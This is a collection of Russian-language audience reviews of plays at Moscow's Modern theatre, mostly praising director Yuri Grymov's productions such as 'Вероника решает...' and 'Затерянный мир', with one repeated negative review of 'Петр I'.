По вымыслу здесь оказывается всякий новопреставленный, но факт того, что не всякий затем отправляется в дальнейшую загробную жизнь остаётся фактом. На станции ожидания застревают многие, причём не на годы, а даже на столетия. Неважно какой пост или должность занимал человек в прошлой жизни, на перевалочную базу попадают все. Теперь все здесь в одинаковых условиях, в которых необходимо смириться и принять правила.
Главный герой пьесы - политический лидер новой России, борец за народ Павел Максимович Торчалов. При жизни он был партийным руководителем, проводил реформы, улучшал жизнь народа. Он считает себя реформатором и добродетелем. Торчалов ещё не понял, что умер и осознание того, куда он попал приводит его в шок.
На станции ожидания ему предстоит взглянуть на себя со стороны, принять ошибки и посмотреть на себя в новом свете. Торчалову нужно осознать всё, что было в его жизни и события юности с его трепетной любовью, и взрослые осознанные шаги. Параллельно с ним в одной комнате общежития мертвых душ в этом непростом путешествии по памяти маятся и другие люди, причём не все с идеальным прошлым и поведением.
Все эти люди никак не могут вспомнить и осознать свой основной грех, чтобы услышать заветный звоночек и наконец найти упокоение. Для того, чтобы пройти дальше, покинуть это удручающее место, каждый пытается рассказать Торчалову свою судьбу, параллельно с этим люди пытаются вспомнить свой самый страшный грех, совершенный в жизни, но сделать это очень, очень непросто.
Не смотря на все устрашающие описания «станции ожидания», пьеса весьма лирична. Мне постановка показалась очень жизненной и пронзительной. Может быть я очень сентиментальна, но снова слезы текли ручьём. Постановка заставляет нас, зрителей, задуматься о совершаемых поступках, найти время, чтобы заняться самобичеванием. Мы должны оценить свои деяния и безбожные поступки, должны попытаться проникнуть в самые глубокие потайные уголки подсознания, так как мы во многом не отдаём отчёта о содеянном. Несмотря на всю мрачность история не вызывает отторжения. Я переживала за героев, вместе с героями и порой вместо героев. Для меня история Торчалова, несмотря на мрачный антураж и смутное начало, полна стремления к свету и любви. В ней мы понимаем, что в любой системе и ситуации надо оставаться человеком. Торчалов даже в потустороннем мире не потерял доброту, совесть и достоинство. Выручил Саньку и Лизу поддержал, дав ей поверить в любовь.
В итоге и его самого спасла любовь, которую он не узнал.
Страсти по Торчалову - повествование о внутренней силе человека, о борьбе со страхами и надежде, так актуально, воистину жизненно и правдиво.

Спектакль "Неформат"
Думаю, что никто из пришедших 1 апреля в театр Модерн на спектакль "Неформат" не смог удержаться от шутки, что спектакль для умных надо показывать именно в день дурака. Действительно на официальном сайте спектакля написано "рекомендовано для умных". В прессе же можно найти его определения как "самый провокационный и необычный", "эксклюзивный".
Этот спектакль придумал и поставил Михаил Барщевский - да, да, тот самый знаменитый адвокат из "Что, Где, Когда", а еще профессор, президент, лауреат и прочая, и прочая.
В "Неформате" режиссер использует и эффект "театр в театре", и "ломку четвертой стены", а на деле это театрализованная лекция на юридические темы. На сцене обсуждаются проблемы нестандартных отношений полов, инцеста, педофилии, участия в ****** и много всего другого юридического. Двигателем действия является фантазия на тему убийства старухи процентщицы, где старуха - бодрая пожилая народная актриса, а Раскольников обозленный непризнанием и нищетой молодой художник. Правда об этом конфликте можно догадаться только из реплики "режиссера": "начнем с того места, где ты ее убиваешь", и сладострастных взглядов художника на сейф, где якобы хранятся бриллианты, заработанные актрисой за долгую сценическую деятельность. Да и до убийства, слава Богу, дело так и не доходит. А дело доходит до лекции Барщевского о Сталине, Рихарде Зорге, Петре Первом, , Суворове и о "гене страха" неблагоприобретенного русским народом.
Наверное все это было бы скучно, если бы не актеры. Прежде всего это конечно Евдокия Германова в роли актрисы. Вот уж где действительно бушует "неформат". Для Евдокии Германовой не существует границ и не придумано рамок, она существует на сцене абсолютно естественно и достоверно. Она моментально реагирует на провисание действия и тут же исправляет его каким-нибудь трюком или шуткой. Она чувствует себя в роли свободно и расковано, кажется что все это не репетировалось часами, а рождается перед нами здесь и сейчас.
Яна Прыжанкова в роли уборщицы-таджички ни в чем не уступает Евдокии Германовой и блещет талантом, естественностью, достоверностью, импровизациями. Студентов театральных вузов надо водить на этот спектакль, чтобы учились мастерству у этих актрис.
Хорош и Денис Юченков в роли "режиссера", но ему мало досталось текста и выигрышных сцен. А вот у Кирилла Клименко хоть и главная роль художника, но внимание зрителей он не приковывает.
А еще в этом спектакле есть такая фишка, как говорящий гость. У нас это был Гарик Сукачев. Поговорить ему дали мало, но послушать было интересно.
В общем за два часа мы успели и посмотреть спектакль с прекрасными актерами, и послушать лекцию знаменитого юриста. Выходили из театра обогащенные искусством и знаниями. Было интересно.

Театр "Модерн".
"мАсквичи". Режиссёр Ю. Грымов.

Вы никогда не пробовали угадать содержание пьесы по названию? Честно говоря, я всегда стараюсь, но ещё ни разу не удалось.
О чем может идти речь в спектакле "мАсквичи", именно так - с вынесенным в заглавие фонетическим написанием топонима с редуцированным "о"? Мне показалось, что будет добрая комедия о старой Москве.

Характерное для московского произношения "аканье" отражено в известной дразнилке, включённой В.И.Далем в «Толковый словарь живого великорусского языка»: «С Масквы, с пасада, с ава‌шнова ряда».Но как оказалось, коренным мАсквичам из спектакля театра "Модерн" (автор - Екатерина Брезгунова) почему-то не сидится в пАсаде: они (по известным только им причинам) годами ждут выигрыша Грин-карты, летят в далёкий Нью-Йорк, прихватив с собой докторскую колбасу, бородинский хлеб, футболки "Che- burashka" в подарок и собственный устав для чужого монастыря.
За два дня пребывания в непостижимом их уму Big Apple они успевают сломать карьеру врача младшей дочери, разрушить личную жизнь старшей дочери и поставить диагноз внуку.
Как трицератопс, который несколько раз за спектакль, вышагивает по сцене(точь-в-точь слон в посудной лавке), родители Натан (Александр Борисов)и Маргарита (Валерия Королева) под лозунгом Back to the USSR проходятся катком по жизни своих чад, безусловно - из самых лучших побуждений.
Да, их обе дочери и внук давно живут в США: они там получили образование, занимаются любимым делом.
Младшая Маша(Ольга Богомазова) успешно строит карьеру врача - одну из самых высокооплачиваемых профессий в Штатах. Вернее, строила, потому что её отстранили от должности после драки, устроенной отцом прямо в палате.
Старшая Ася (Ариэль)(Марина Дианова) открыла в себе способности коуча по семейным отношениям: она ведёт блог о позитивной модели гармоничных отношений и традиционно устраивает медитации. Её отношения с мужем, этническим кубинцем Мигелем(Диллон Оллойеде) далеки от идеальных. Но вы же знаете,что сапожники всегда бывают без сапог.
А вот жить "в позитивном пузыре", уметь пользоваться self- гигиеной -то есть получать те эмоции,от которых становится хорошо- удаётся не каждому. Русалка Ариэль в этом "позитивном пузыре" плавает,как рыба в воде.. Даже поведение подростка- сына Лео, который 4 года не выходит из дому, фотографирует мёртвых птиц(они похожи на ангелов), рядится в женскую одежду, Ася воспринимает как данность, с которой надо смириться: ведь есть же медицинские диагнозы дислексии, дисграфии, так и у сына подростковая тревожность и замкнутость со временем обязательно пройдёт.

У каждого американского подданого этой семьи есть личное пространство, но когда происходит долгожданное воссоединение с родителями, то все три поколения оказываются не готовыми к "психосоматическому приятию новой реальности".
Все члены семьи реагируют на новые правила общежития по-разному: кто-то мягко, потом ожесточённо доказывает своё право на приватность собственной жизни, кто-то впадает в долгий сон, а есть те, кто вообще уходит из семьи до лучших времён: "Муж ушёл, а его в темноте не видно".
На самом деле в комедии очень много смешных моментов, связанных прежде всего с особенностями социокультуры стран. "Волшебная травка", выращиваемая на реализацию, игрушки для взрослых, найденные родителями, доставляют всем огромное удовольствие, в том числе и зрителям.
Лёд во взаимоотношениях начинает трогаться с внука и Натана(не dead, а дед!)
Да и бывшая учительница тоже должна научиться слушать собеседника, сделать открытие для себя, что есть темы, которые не принято обсуждать: политика, семейный бюджет, личная жизнь. А в противном случае мы будем похожи на динозавров (вот он опять шагает по сцене).
Не правда ли, перед нами легко узнаваемые персонажи?
Спектакль получился комичный, юморной. Без штампов здесь не обошлось, конечно: театр, балет, космос, Кинг-Конг, небоскрёбы, американские технологии.

Спетакль поставлен молодым актером Шамилем Мухамедовым по пьесе Никиты Воронова, написанной в конце 90-х годов. 
Спектакль очень сильный, он "обречен на успех", один из лучших, которые я увидела за последний год. 

Эта история о нас и о том, с чем мы приходим к той самой "конечной" двери, какие выводы делаем о своей прожитой жизни, думаю, что к концу спектакля каждый зритель невольно обязательно заглянет во внутрь себя и многое переосмыслит.
Почти на два часа мы очутились  между небом и землей, где «трамвай в темноте ходит по бесконечному кругу, где переплетаются времена и воспоминания, в которых Пушкин зажимает барышень по углам и пишет обидные стишки и горит Москва 1812 года, и где можно посмотреть новости по Первому каналу...» Страх и ужас! Одним словом страсти - жизнь после жизни, место действия - загробный мир, который тамошними обитателями считается временным полустанком, в отличие от окончательной станции назначения, куда все хотят попасть. В худшем случае обитатели, невспомнившие свои грехи, отправляются на второй, а может и на третий круг жизни, каждая последующая жизнь хуже и страшнее предыдущей.
  Именно здесь почившему человеку, чтобы перейти в мир иной, надо вспомнить и осознать свой "главный" грех, а для этого хорошенько покопаться в себе. И, оказывается, "вариться" в самом себе страшнее, чем в адском котле. Естественно все это фантазия автора, хотя так и тянет поразмышлять, пофилософствовать об увиденном в приложении к реалиям жизни и к себе, любимой.
В этом пространстве сошлись представители разных исторических периодов, даже столь отдаленных, как Отечественная ***** 1812 года Лиза (Надежда Меньшова) и революционные события 1917-го (Саша Пыжов - Евгений Невар ) - они засиделись тут, поскольку никак не могут припомнить, в чем они согрешили. Тут и Павел Максимович Торчалов ( Александр Борисов ), тот самый реформатор, который, способствуя смене общественного строя в стране и развалу Советского Союза, гордится тем, что создал "нового" человека, исполненного достоинства, и дал свободу народу. А на деле, как в итоге вынужден признать он сам, тихо и незаметно обокрал его. Алексей Багдасаров сыграл здесь сразу две противоположные по характеру роли: отца Кушкина и его сына Женьку, людей с совершенно полярными взглядами на жизнь.
В этом общежитии, или санатории, управляют двое:  Римма ( Маина Чижевская ), строгая комендантша, которая является еще и главным дознавателем грехов у постояльцев и Степа ( Фотис Келепурис ), внушительного вида, сильный, но очень добрый человек.
Отдельно хочу сказать про свет и декорации.  Декорации минимальны, да они здесь и не нужны, главные акценты были сделаны на свете и музыке. Интересное решение - это экран, на котором мы видим ночь, дерево и многоэтажку со светящимися окнами, как бы переносящие нас из "общаги" на улицу.

Невероятно трогательный финал у всей этой истории. В конце появляется еще один очень важный персонаж - щенок, отданный Торчалову Степой, замерзший и еле писчащий в коробке. Судьба щенка теперь зависит от заботы и ответственности Торчалова, а судьба Торчалова - от щенка. Ведь пока щенок будет жив щенок, будет жить и Торчалов.
Театр поздравляю с премьерой! А актерам БРАВО!

Спектакль "Петр I" в театре Модерн оставляет отвратительный привкус.Настолько стойкий, что впервые захотелось об этом поведать людям. Чтобы, возможно не повторили мою ошибку, потратив время и деньги на это мероприятие. Я не против современного театра и не ханжа. Но каждое зрелище, происходящее на сцене, должно быть оправдано. Перое действие было скучным и затянутым. Мучительно ждали, когда оно закончится.Ни смысла, ни юмора, ни динамики. Сюжета нет. Надеялись, что во втором действии увидим ту глубину, раскрытие тех многозначительных намеков, которые режиссер так настойчиво предъявляет зрителю в первом действии. Не дождались. Во втором-та же затянутость, то же самолюбование режиссера своей "оригинальностью". Пустота. Пошлость для привлечения хоть какого то внимания. После имитации полового акта на сцене стало так тошно, что мы ушли. Не верится, честно говоря, что восторженные отзывы на спектакль не написаны по заказу режиссера. Цинизм возведенный в куб. Жаль потерянный вечер,потерянные деньги. Жаль актеров, участвующих в профанации театра. Жаль пианиста, играющего в фойе театра.

Достоинства

Пианист в фойе театра, на этом достоинства заканчиваются.

Спектакль "Петр I" в театре Модерн оставляет отвратительный привкус.Настолько стойкий, что впервые захотелось об этом поведать людям. Чтобы, возможно не повторили мою ошибку, потратив время и деньги на это мероприятие. Я не против современного театра и не ханжа. Но каждое зрелище, происходящее на сцене, должно быть оправдано. Перое действие было скучным и затянутым. Мучительно ждали, когда оно закончится.Ни смысла, ни юмора, ни динамики. Сюжета нет. Надеялись, что во втором действии увидим ту глубину, раскрытие тех многозначительных намеков, которые режиссер так настойчиво предъявляет зрителю в первом действии. Не дождались. Во втором-та же затянутость, то же самолюбование режиссера своей "оригинальностью". Пустота. Пошлость для привлечения хоть какого то внимания. После имитации полового акта на сцене стало так тошно, что мы ушли. Не верится, честно говоря, что восторженные отзывы на спектакль не написаны по заказу режиссера. Цинизм возведенный в куб. Жаль потерянный вечер,потерянные деньги. Жаль актеров, участвующих в профанации театра. Жаль пианиста, играющего в фойе театра.

Достоинства

Пианист в фойе театра, на этом достоинства заканчиваются.

«Затерянный мир» - спектакль по знаменитому роману Артура Конан Дойла.
Профессор Джордж Челленджер, собирается представить научному сообществу доказательства существования на планете динозавров – в виде птеродактиля, привезенного им из экспедиции.
Однако, по нелепой случайности молодой репортер Нед Мелоун выпускает главное «подтверждение», которое улетает в неизвестном направление, оставляя профессора ни с чем.
Вновь оказавшись без доказательств, профессор Челленджер вместе с журналистом Недом, авантюристом Лордом Эдвардом Рокстоном, профессором Саммерли, любимой, но непослушной дочерью Оливией и африканцем Самбо, собираются в новую экспедицию, на поиски доисторических существ.
Вместе с членами экспедиции, из Лондона, зрители переносятся в удивительный, загадочный и таинственный мир диких джунглей, где встречают его порой опасных, порой забавных обитателей и конечно же, находят то, ради чего проделали столь долгий путь огромных динозавров!!!
После антракта, действительно начинается невероятное приключение и шоу!
В самом начале второго действия, за считанные секунды до открытия занавеса, в зале звучит официальное объявление: «Во время спектакля не кормите, пожалуйста, динозавров и актеров, они могут обидеться и убежать!»
Маленькие зрители с нетерпением ждут, что же будет происходить на сцене дальше, волнуясь и сопереживая главным героя.
А дальше, зрительный зал от детей до взрослых, был поражен не только масштабными декорациями затерянного мира, но и огромными, с трудом умещающимися на сцене, очень реалистичными динозаврами. Вес которых, как я узнала потом, достигает 100 кг!
Такие эффектные герои не оставили равнодушными никого!!!
Помимо динозавров, в джунглях Южной Америки, зрители встретят настоящих человеко-обезьян, которые исполнят свой зажигательный танец, под который очень сложно усидеть в кресле зала.
Кстати! Всегда обращаю внимание на очень качественное и удачно подобранное музыкальное сопровождение в постановках Ю. Грымова. Оказалось, детские спектакли не исключение! В «Затерянном мире» прозвучали яркие хиты 70-х годов!
Экспедиция заканчивается – успешно. И на воздушном шаре, её участники, благополучно отправляются домой.
Однако не все. Туземец Самбо, остается на страже дикой природы. Ведь, так часто, люди г********* относятся к ней своим поведением.
И в этом кроется леймотив спектакля: бережное отношение к окружающей нас среде.
Спектакль, действительно интересный, со смыслом, при этом простой для восприятия.
На мой взгляд идеален для младших школьников и по смыслу, и по сюжету, и по визуальной картинке, которая для меня в этот раз была просто необыкновенно запоминающейся.
Если в первом акте, я любовалась атмосферными костюмами старой Англии, проработанными до мелочей, то во втором акте, наслаждалась загадочной атмосферой джунглей.
Благодаря аутентичным декорациям, приглушенному освещению и игры света в небольшом количестве дыма, а так - же, звуковому сопровождению (шум моря, звуки джунглей, шелест листвы, звуки барабана и др.) создалось ощущение, что мы действительно не в Москве, а где - то в экзотическом уголке мира. Видеоэкран по периметру сцены – окончательно создал полное погружение в действие!
Прекрасная игра актеров, легкая, понятная и увлекательная. Каждый великолепно сыграл свою роль.
В спектакле много музыки, танцев. И именно танцем всех участников и закончился этот красивый, яркий, добрый спектакль. Который без нравоучений, обращает внимание подрастающего поколения на глобальные мировые проблемы бережного отношения к окружающему нас миру.

На прошлой неделе в Театре "МОДЕРН" состоялась премьера нового спектакля "Вероника решает...", созданный по мотивам романа Пауло Коэльо "Вероника решает умереть". Режиссер Юрий Грымов ,как всегда, умеет удивлять своим художественным видением, нестандартными решениями и подходами. Посмотрев "Вероника решает..." зрителю предоставляется уникальная возможность самостоятельно определить жанр данного произведения и попытаться разгадать тайну авторского замысла, побродив по метафизическим коридорам постановки.

Сюжет произведения не простой, ведь действие происходит в клинике для душевнобольных. Здесь другая жизнь, другие взгляды и даже Боги. Главная героиня, Вероника (Анастасия Сычева), точное попадание в образ. Хрупкая, отчужденная, очутившаяся на грани жизни и смерти, оказывается в месте, где все переворачивается с ног на голову, в прямом смысле этого слова. В этом мистическом пространстве, где каждый может вести себя так, как ему вздумается, судьба сводит Веронику с такими же товарищами по несчастью. Понимая, что скоро умрёт, она начинает ценить жизнь, влюбляется и решается на побег.

Порадовал прекрасный актерский состав, обладающий высочайшим мастерством исполнения. Жанна Чирва в роли Зедки получилась очень яркая, в причудливом головном уборе в виде потрепанной вороны и в красном бархатном платье, из котрого виднелась пижамная рубаха с изображением медведей. Большое впечатление произвела исповедь Зедки о безответной любви, которая довела её до уныния. Это было ярко и очень пронзительно.
Дмитрий Бозин Дмитрий, гипнотизирует, внушает и наставляет, высочайшее мастерство исполнения. Его образ схож ни только с египетским Богом, но он еще напоминает того таинственного мотылька, что изображен на афише спектакля. То же очертание луны над головой, движения рук, словно расправленные крылья, устремленные к свету. В общем, умеет режиссер разбудить воображение и направить зрителя в нужное русло. При помощи различных световых эффектов и дыма, создавалось ощущение, что наши герои находятся то ли в потустороннем мире, то ли во сне, а разнообразная музыка усиливала внутренние переживания, яркие и экстравагантные костюмы Ирены Белоусовой, это отдельный вид искусства. После просмотра спектаклей в этом театре, возникает чувство, что ты побывал на показе мод. Каждый элемент одежды проработан на столько тщательно и видно, что художник по костюмам вложил в него частичку своей души.

Ещё одна яркая роль художника Эдуарда (Лев Смирнов), который заставил Веронику поверить в себя и раскрыться. Интересно было наблюдать как вдохновившись своей музой, он рисует картины на цифровом экране. А на одной из них просматривались очертания фигуры Вероники. После того как Анастасия исполнила потрясающую "Лунную сонату" теперь захотелось увидеть спектакль "Nirvana", где она исполняет роль Кортни Лав.

"Вероника решает..." спектакль, который непременно заставит задуматься о ценности жизни, о родных и близких. Спектакль о проблемах людей, которые не могут вписаться в общество лишь по тому, что они ни такие, как все. На примере наших героев зрителю даётся возможность проследить за изменениями, происходящими с ними, и попытаться осмыслить собственные проблемы.

«Вероника решает…», театр «Модерн»

Одной из самых ожидаемых и интересующих меня премьер этого сезона была «Вероника решает...» в театре «Модерн». Одноименный нашумевший роман П.Коэльо я читала в старшей школе и осталась на тот момент под глубоким впечатлением. А любимые артисты в составе и гениальная режиссура Юрия Грымова обещали, что выйдет нечто шедевральное.

Кстати, перед премьерой я посетила открытую репетицию, на которой нам показали первое действие (правда, без костюмов и декораций), поэтому прониклась сюжетом я еще до показа. Кратко упомяну завязку: молодая девушка Вероника (Анастасия Сычева) предпринимает неудачную попытку самоубийства и оказывается в крупной психиатрической клинике. Ее главный врач, доктор Игорь (Роман Зубрилин), сообщает ей, что из-за критично большой дозы таблеток ее сердце пострадало и ей осталось жить всего неделю. Как же она ее проведет?

Я считаю сам исходный роман действительно гениальным, потому что в нем есть просто всё: переход от отчаяния и ненависти к жизни главной героини к страстному желанию жить, причины, по которым она дошла до такого состояния – комплексы и напряженные отношения с матерью, колоритные другие обитатели клиники. А Юрий Грымов мастерски переносит действие на сцену, закладывая, на мой взгляд, еще более глубокие смыслы, которых не было даже у Коэльо! Эту постановку хочется разворачивать постепенно, как прекрасный подарок: тут и египетские боги, и вайбы «Алисы в стране чудес» из-за голубого платья Вероники, и женщина с торшером на голове – что-то в стиле Магритта, и библейская тема с Адамом и Евой… Вообще, с точки зрения визуального наполнения, этот спектакль имеет шанс стать моей самой любимой постановкой «Модерна» (а я видела почти все!).

Невозможно не отметить одновременно смешную и трогательную Зедку (Жанна Чирва), которая сошла с ума от невзаимной любви. Ее монолог просто потрясающ! А какое красное платье! И молчаливого художника-шизофреника Эдуарда (Лев Смирнов), в которого Вероника влюбится. Кстати, отсылка, когда Эдуард рисует «Крик» Эдварда Мунка, мне очень зашла.

И, конечно же, просто обязана в очередной раз сказать про потрясающую игру Дмитрия Бозина в роли … бога солнца Ра. Да-да, самого настоящего! Невозмутимая, мудрая сущность, которая исподволь управляет выбором Вероники, заботясь о ней – что-то вроде ангела-хранителя, говоря языком простых обывателей. Очень неожиданно было увидеть раскрытие подобного персонажа на сцене.

Я обязательно схожу на «Вероника решает…» еще не один раз, потому что там масса поводов к тому, чтобы подумать об отношении к жизни, к окружающим людям, о ценностях – да и просто, посмотреть на красивый визуал!

Очень рекомендую к просмотру. 10 из 10.

Ох, как же приятно быть в числе первых, посмотревших спектакль «Вероника решает…» в театре «Модерн»! Это, как присутствовать при рождении ребёнка и тут главное - не упасть в обморок от увиденного. Я выстояла и стойко перенесла все «тяготы» этого фееричного шоу-спектакля!
Ю.Грымов по-режиссёрски, полностью перекроил самый известный роман Пауло Коэльо «Вероника решает умереть», дополнив сцены новыми персонажами, дав возможность им высказаться и войти в диалог с главными героями, при этом оставив основную линию и смысл, который заложен в романе.

Скажу честно, я читала роман и это была моя «фатальная ошибка» (я то и дело, сравнивала детали/части романа с происходящим на сцене, а часть происходящего никак не складывалась в моей голове) Поэтому, смотреть новую постановку Ю.Грымова надо с чистого листа, так сказать без исходника). В связи с чем, рекомендую не читать роман перед походом на спектакль.

И так, место действия психиатрическая клиника-это какое-то фантастическое пространство, где все живут в совершенно нереальном мире, всё дозволено и никому не приходится отвечать за свои поступки. Тут я улыбнусь, потому что и наш Мир –это в своём роде психиатрическая больница)) Из полуантичной ванной, установленной на пьедестале, выскакивает мокрая Виктория (актриса Анастасия Сычёва), решившая покончить жизнь самоубийством, которое не состоялось. Вокруг обволакивающая туманная дымка и кружащие на колясках санитары клиники, в виде египетских богов.
Это был очень сложный в конструктивном плане спектакль, свет разного уровня, импульсивности и насыщенности. Так, в сцене реанимации Виктории электронный разряд, подсветили такой вспышкой, что я пару раз вздрогнула. Постоянно двигающиеся герои с реквизитом, перемещаемые декорации, горящие цифры, показывали оставшиеся дни жизни Виктории.

Мне понравилось, как экстравагантно режиссёр увидел персонажей этой истории, а художник по костюму просто бесподобно воплотил эту задумку. Бог Ра (актёр Дмитрий Бозин), спустился с небес в одеянии, как будто египетский фараон. Доктор Игорь, предстал на сцене в безумном виде, с высоко торчащими волосами, смешными большими очками и больше был похож на сумасшедшего химика) Как шикарно смотрелась в алом платье Зедка (актриса Жанна Чирва). А шляпа-торшер Марии-это прям экземпляр для недели высокой моды.

Постановка полна эмоционально сильных и философских монологов, в которых герои делились своей непростой историей жизни, рассуждали о её смысле, одиночестве, страхах, неспособности что-либо чувствовать и что-либо изменить.
Не обошлось и без эротики. Единственную эротическую сцену, Ю.Грымов проиграл огромной яркой картиной, расположенной в центре, на которой была изображена часть голого женского тела.

Что отличает постановки в «Модерн» от других театров? Это музыкальное оформление. Каждый спектакль – это невероятно классный подбор музыки, встроенной в сюжет. И в этот раз это была огненная музыка: Status Quo «In The Army Now». Frankie Goes To Hollywod «Relax», Prince, Roy Harper и многое другое. Её было много, местами она была сексуальной, подкреплённая классическим роком и нотками русского языка. А в финале, мы услышали настоящий, мощный голос Анастасии Сычёвой и это было «Вау», словно ты пришёл на концерт какой-то звезды. Нельзя не отметить фортепиано, которое использовалось по назначению, прям бальзам на душу.
В спектакле очень много юмора, тогда как в романе его почти нет. Сперва, меня это немного смутило, но потом я поняла, юмор в спектакле не даёт «слиться» в печальные размышления и уныние, придавая жизни определённое значение. Например, беседа Вероники с Богом, выстроена в ироничном виде.

Мне нравятся такие невероятные эксперименты в искусстве, они заставляют мозг двигаться во всех направлениях, дают море фантазии. Этот спектакль, как шоу-постановка, призванная вызвать у зрителя огромный спектр эмоций, начиная от удивления и непонимания, заканчивая восторгом и желанием пуститься «во все тяжкие».
Посмотрев эту постановку, сразу думаешь, как же важно чувствовать себя, позволять себе то, что хочешь, выдавать любые эмоции, не бояться быть собой и не бояться быть не такой, как все, а главное везде находить любовь.
Вот, прям от всей души рекомендую сходить, особенно тем, кто любит эксперименты)

Премьера в Театре «Модерн» -спектакль «Вероника решает…».
Спектакль поставлен по знаменитому бестселлеру Пауло Коэльо «Вероника решает умереть». И хотя в постановке безусловно присутствует авторский взгляд режиссера Юрия Грымова, но основная идея автора осталась неизменной - жить, чувствовать , несмотря ни на что и верить в себя.
Кто не помнит содержание романа, то коротко он о девушке, оказавшейся в психиатрической клинике после попытки суицида. Ее спасли, но на жизнь, как сказал лечащий врач, ей отпущена всего неделя.
Безумная неделя в сумашедшем доме, где всё не так, как кажется.
Спектакль-размышление о том, как посмотреть в лицо собственным страхам, как вновь поверить в свои силы, как снова научиться доверять жизни и на что способна настоящая любовь…
В спектакле задействован великолепный актерский состав: Анастасия Сычева (Вероника), Дмитрий Бозин (Ра), Александр Борисов (седой господин), Жанна Чирва (Зедка), Роман Зубрилин (доктор Игорь), Лев Смирнов (Эдуард) и др.
Отдельное восхищение вызывают музыка и свет.
Спектакль получился очень жизнеутверждающим, наполненный энергией и желанием жить.

6 марта мне посчастливилось оказаться в числе первых зрителей, увидевших, как провела 7 дней в клинике для душевнобольных героиня спектакля «Вероника решает...» Театра «Модерн» и что из этого вышло...
А перед этим еще и поприсутствовать на пресс-конференции, послушать, интереснейшие, как всегда, рассуждения художественного руководителя Театра «Модерн» Юрия Грымова и мнения исполнителей ролей в этом спектакле – Анастасии Сычевой, Дмитрия Бозина, Жанны Чирва и Льва Смирнова (не ожидала от молодого актера, совсем недавно ярко заявившего о себе в роли Иуды, столь глубокие речи).
«Вероника решает...» - это авторский взгляд режиссера Юрия Грымова на мировой бестселлер «Вероника решает умереть» Пауло Коэльо, самого продаваемого в мире автора, который довольно легко откликнулся на предложение купить у него права на постановку и сделал это за символические деньги («Главное, грамотно поставить вопрос, сформулировать, зачем вам это надо», - пояснил Ю.В.).
Я читала книгу очень давно, те же, кто освежил ее в памяти перед просмотром, говорят, что написанная по ней пьеса Марины Сулчани далека от оригинала, но заложенный в ней автором посыл остался.
«Чем близка Вам эта тема?»- на этот вопрос из зала режиссер ответил так:
«Уныние – смертельный грех. Ставить же на грань свою жизнь – это самое страшное, что может быть. Люди в этот момент даже не задумываются о своем окружении...»
«Надо знать, что вы хотите рассказать». Говоря о персонажах спектакля - пациентах клиники для душевнобольных, Ю.В. отметил, что «это все вы, это я – грань нормальности очень зыбкая». Ох, как трудно с этим не согласиться!!!
«Мы вам объясним, в чем смысл жизни. Как она прекрасна!» - такой целью он задался, создавая спектакль «Вероника решает...».
Репетиционный процесс занял два месяца – не любит Грымов это дело затягивать. Да и зачем ему? Ведь как было сказано кем-то на одной из предыдущих пресс-конференций, Ю.В. не приступает к репетициям, пока спектакль не будет поставлен у него в голове и тогда ему остается лишь перенести его на сцену.
С выбором актеров у Грымова тоже проблем не возникает. «Если у вас нет Гамлета, его не надо ставить» - Ю.В. уже на старте работы над новым спектаклем знает, кто в нем у него будет играть.
На главную роль в премьере режиссер пригласил актрису ЦДР Анастасию Сычеву, вот уже несколько лет, с неизменным успехом, выходящую на сцену театра «Модерн» в роли Кортни Лав в спектакле «Nirvana». Очень мне понравилась ее Вероника – как будто Коэльо специально для нее писал свою книгу. Рада, что в своем спектакле Грымов не оставил без внимания прекрасные вокальные данные Анастасии и ее потрясающий вокал стал одним из украшений спектакля.
И еще два приглашенных артиста участвуют в этом спектакле:
Во всех прочитанных мной отзывах звучит восхищение образом, созданным Жанной Чирва. Не могу к ним не присоединиться – монолог ее персонажа (Зедка) один из самых ярких и запоминающихся в спектакле. Будучи частым гостем Театра «На Юго-Западе», в котором актриса служит вот уже четверть века, я никак не могла вспомнить, где же она играет. Специально зашла на ее страничку https://teatr-uz.ru/chirva-zhanna-vladimirovna и увидела, что ролей-то у нее там с гулькин нос... Поэтому, огромная благодарность Юрию Вячеславовичу за возможность насладиться игрой такой талантливой актрисы!!!
«Сначала я нащупала свою роль, а потом слишком углубилась в нее и потеряла то, что нащупала...», - посетовала актриса на пресс-конференции. Лукавит! Справилась со своей ролью, надо бы лучше, да некуда!!!
Еще одна возможность посмотреть на своего кумира появилась и у поклонниц заслуженного артиста России, ведущего актера и режиссера Театра Романа Виктюка, Дмитрия Бозина (и многих из них я увидела на предпремьерном показе). Что говорить – здесь он сияет (в прямом и переносном смысле) во всем своем великолепии!!!
Для Жанны Чирва и Дмитрия Бозина это также, уже не первый выход на сцену «Модерн» и, надеюсь, что столь плодотворное сотрудничество продолжится и в дальнейшем.
Была удивлена, увидев в этом спектакле на сцене много предметов, которые во втором действии, вслед за сознанием героини, еще и на 180 градусов поменяли свою ориентацию в пространстве. Необычно...
Не устаю «ахать», видя роскошные костюмы, созданные Ирэной Белоусовой. А здесь она умудрилась создать потрясающие наряды даже для египетских богов (к появлению которых на сцене Коэльо точно не имеет никакого отношения)!
Всем известно, что «сорежиссером» Грымова выступает свет, выхватывающий из полумрака нужную ему мизансцену. Выглядит это, как всегда, очень эффектно.
Музыкальное оформление постановки, которому Ю. В. уделяет большое внимание и всегда лично подбирает музыку – и здесь выше всех похвал! На пресс-конференции он пояснил, что музыка – это его инструмент и представлена она в спектакле минимум, в трех ипостасях – «как персонаж, как опора и как характер».
Новый спектакль, технически очень сложный, во многом отличается от других его работ. Прежде всего, тем, что в нем, как сказал режиссер, «много закодировано».
Ну, что я могу сказать – смотреть спектакль было очень интересно, визуально он потрясающе красив, актерские работы в нем безупречны, спектакль получился весьма жизнеутверждающим, так что поставленная режиссером цель показать, что «жизнь прекрасна» - достигнута, ну, а для того, чтобы разгадать все его тайные смыслы, придется прийти на него еще не раз – первое впечатление у меня, обычно, лишь на эмоциональном уровне.

Новый спектакль Юрия Грымова в театре модерн "Вероника решает..." поставлен по мировому бестселлеру Пауло Коэльо . Эта книга является самым продаваемым романом в мире.
По сюжету девушка по имени Вероника сталкивается с проблемами и трудностями, которые многие из нас могут переживать. И не справившись со своей ситуацией она оказывается в психиатрической больнице после сильного отравления лекарствами. После того как Вероника очнулась, врач выносит ей страшный приговор, что ей осталось жить всего несколько дней. С одной стороны, Вероника же сама так стремилась к смерти, но события последних дней после приговора, меняет полностью ее мироощущение, а каждый день беспощадно сгорает, приближая ее к самому страшному.
Вероника, проживая свои дни знакомится с различными больными и их историями. Каждый из них вносит свой вклад в жизнь и мысли главной героини. Их разные взгляды и жизненные уроки помогают Веронике пройти ее внутреннее путешествие и научиться ценить разные моменты жизни.
